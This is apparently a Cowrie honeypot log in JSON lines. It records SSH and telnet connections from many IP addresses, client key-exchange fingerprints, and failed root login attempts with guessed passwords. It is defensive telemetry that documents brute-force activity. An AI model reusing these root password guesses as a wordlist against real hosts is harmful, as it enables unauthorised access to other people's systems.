{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:58:35.507575Z","src_ip":"103.122.221.179","session":"774f0205de84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":41356,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8cd3e48f20b","protocol":"ssh","message":"New connection: 103.149.170.125:41356 (10.17.0.5:22) [session: f8cd3e48f20b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:58:57.934615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:58:57.939789Z","src_ip":"103.149.170.125","session":"f8cd3e48f20b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:58:58.198510Z","src_ip":"103.149.170.125","session":"f8cd3e48f20b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21041992","message":"login attempt [root/21041992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:58:58.974000Z","src_ip":"103.149.170.125","session":"f8cd3e48f20b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:59:00.236962Z","src_ip":"103.149.170.125","session":"f8cd3e48f20b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":51810,"dst_ip":"159.203.135.109","dst_port":22,"session":"cde5a8597e41","protocol":"ssh","message":"New connection: 103.172.78.219:51810 (159.203.135.109:22) [session: cde5a8597e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:59:20.261953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:59:20.289532Z","src_ip":"103.172.78.219","session":"cde5a8597e41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:59:20.531318Z","src_ip":"103.172.78.219","session":"cde5a8597e41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1a2a3a4a5a6","message":"login attempt [root/a1a2a3a4a5a6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:59:21.537677Z","src_ip":"103.172.78.219","session":"cde5a8597e41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:59:22.800774Z","src_ip":"103.172.78.219","session":"cde5a8597e41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":33214,"dst_ip":"10.17.0.5","dst_port":22,"session":"05b6d6927cf4","protocol":"ssh","message":"New connection: 109.237.96.109:33214 (10.17.0.5:22) [session: 05b6d6927cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:00:23.226471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:00:23.232863Z","src_ip":"109.237.96.109","session":"05b6d6927cf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:00:23.325749Z","src_ip":"109.237.96.109","session":"05b6d6927cf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1313131","message":"login attempt [root/1313131] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:00:23.619219Z","src_ip":"109.237.96.109","session":"05b6d6927cf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:00:24.712818Z","src_ip":"109.237.96.109","session":"05b6d6927cf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.53.95","src_port":45038,"dst_ip":"10.17.0.5","dst_port":22,"session":"288bd4c33334","protocol":"ssh","message":"New connection: 134.209.53.95:45038 (10.17.0.5:22) [session: 288bd4c33334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:00:32.259610Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:00:32.275234Z","src_ip":"134.209.53.95","session":"288bd4c33334","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:00:32.281021Z","src_ip":"134.209.53.95","session":"288bd4c33334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.110.148","src_port":40002,"dst_ip":"10.17.0.5","dst_port":23,"session":"d80f2e33ec97","protocol":"telnet","message":"New connection: 167.99.110.148:40002 (10.17.0.5:23) [session: d80f2e33ec97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:01:10.129109Z"}
{"eventid":"cowrie.session.closed","duration":0.07216691970825195,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:01:10.201153Z","src_ip":"167.99.110.148","session":"d80f2e33ec97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55754,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6b985cd5ea8","protocol":"telnet","message":"New connection: 135.148.14.151:55754 (159.203.135.109:23) [session: f6b985cd5ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:01:10.665917Z"}
{"eventid":"cowrie.session.closed","duration":37.90400218963623,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:01:48.569834Z","src_ip":"135.148.14.151","session":"f6b985cd5ea8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":37778,"dst_ip":"159.203.135.109","dst_port":22,"session":"e297a6ae0154","protocol":"ssh","message":"New connection: 80.66.85.226:37778 (159.203.135.109:22) [session: e297a6ae0154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:02:12.024997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:02:12.030068Z","src_ip":"80.66.85.226","session":"e297a6ae0154","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:02:12.117816Z","src_ip":"80.66.85.226","session":"e297a6ae0154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xander","message":"login attempt [root/xander] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:02:12.386240Z","src_ip":"80.66.85.226","session":"e297a6ae0154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:02:13.477078Z","src_ip":"80.66.85.226","session":"e297a6ae0154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":47178,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d2aca0622e9","protocol":"ssh","message":"New connection: 147.45.199.80:47178 (159.203.135.109:22) [session: 3d2aca0622e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:03:29.303199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:03:29.308839Z","src_ip":"147.45.199.80","session":"3d2aca0622e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:03:29.407294Z","src_ip":"147.45.199.80","session":"3d2aca0622e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:03:29.705900Z","src_ip":"147.45.199.80","session":"3d2aca0622e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:03:30.806447Z","src_ip":"147.45.199.80","session":"3d2aca0622e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":52902,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ab1d14ff60e","protocol":"ssh","message":"New connection: 89.108.118.91:52902 (10.17.0.5:22) [session: 5ab1d14ff60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:03:50.238881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:03:50.244030Z","src_ip":"89.108.118.91","session":"5ab1d14ff60e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:03:50.376520Z","src_ip":"89.108.118.91","session":"5ab1d14ff60e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23121987","message":"login attempt [root/23121987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:03:50.774135Z","src_ip":"89.108.118.91","session":"5ab1d14ff60e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:03:51.909983Z","src_ip":"89.108.118.91","session":"5ab1d14ff60e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60856,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ba175b40f51","protocol":"telnet","message":"New connection: 135.148.14.151:60856 (159.203.135.109:23) [session: 6ba175b40f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:04:24.928025Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":32772,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c3d4ed29d1a","protocol":"ssh","message":"New connection: 103.77.242.62:32772 (10.17.0.5:22) [session: 2c3d4ed29d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:04:27.662637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:04:27.667917Z","src_ip":"103.77.242.62","session":"2c3d4ed29d1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:04:27.916398Z","src_ip":"103.77.242.62","session":"2c3d4ed29d1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23021987","message":"login attempt [root/23021987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:04:28.651949Z","src_ip":"103.77.242.62","session":"2c3d4ed29d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:04:29.899846Z","src_ip":"103.77.242.62","session":"2c3d4ed29d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.15163016319275,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:05:02.079562Z","src_ip":"135.148.14.151","session":"6ba175b40f51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":43504,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ebc01c77097","protocol":"ssh","message":"New connection: 51.250.105.222:43504 (159.203.135.109:22) [session: 5ebc01c77097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:05:05.387449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:05:05.393884Z","src_ip":"51.250.105.222","session":"5ebc01c77097","protocol":"ssh"}
